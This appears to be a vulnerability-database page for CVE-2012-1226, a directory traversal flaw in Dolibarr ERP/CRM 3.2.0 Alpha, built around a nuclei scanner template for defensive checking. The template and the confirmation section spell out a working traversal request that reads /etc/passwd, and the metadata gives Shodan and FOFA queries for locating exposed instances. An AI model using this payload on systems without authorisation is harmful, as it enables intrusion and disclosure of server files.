HexBrain

Browse / CVEs / CVE-2012-1226

CVE-2012-1226· dolibarr / dolibarr erp\/crm· CWE-22

Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities

highseverity
7.5CVSS score
23.6%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Multiple directory traversal vulnerabilities in Dolibarr CMS 3.2.0 Alpha allow remote attackers to read arbitrary files and possibly execute arbitrary code via a .. (dot dot) in the (1) file parameter to document.php or (2) backtopage parameter in a create action to comm/action/fiche.php.

Impact

Successful exploitation of these vulnerabilities could allow an attacker to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/document.php?modulepart=project&file=../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2012-1226 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2012-1226

info:
  name: Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities
  author: daffainfo
  severity: high
  description: Multiple directory traversal vulnerabilities in Dolibarr CMS 3.2.0 Alpha allow remote attackers to read arbitrary files and possibly execute arbitrary code via a .. (dot dot) in the (1) file parameter to document.php or (2) backtopage parameter in a create action to comm/action/fiche.php.
  impact: |
    Successful exploitation of these vulnerabilities could allow an attacker to read arbitrary files from the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36873
    - https://nvd.nist.gov/vuln/detail/CVE-2012-1226
    - http://www.vulnerability-lab.com/get_content.php?id=428
    - http://www.exploit-db.com/exploits/18480
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/73136
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2012-1226
    cwe-id: CWE-22
    epss-score: 0.23592
    epss-percentile: 0.97823
    cpe: cpe:2.3:a:dolibarr:dolibarr_erp\/crm:3.2.0:alpha:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dolibarr
    product: dolibarr_erp\/crm
    shodan-query: http.favicon.hash:440258421
    fofa-query: icon_hash=440258421
  tags: cve,cve2012,lfi,dolibarr,traversal,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/document.php?modulepart=project&file=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from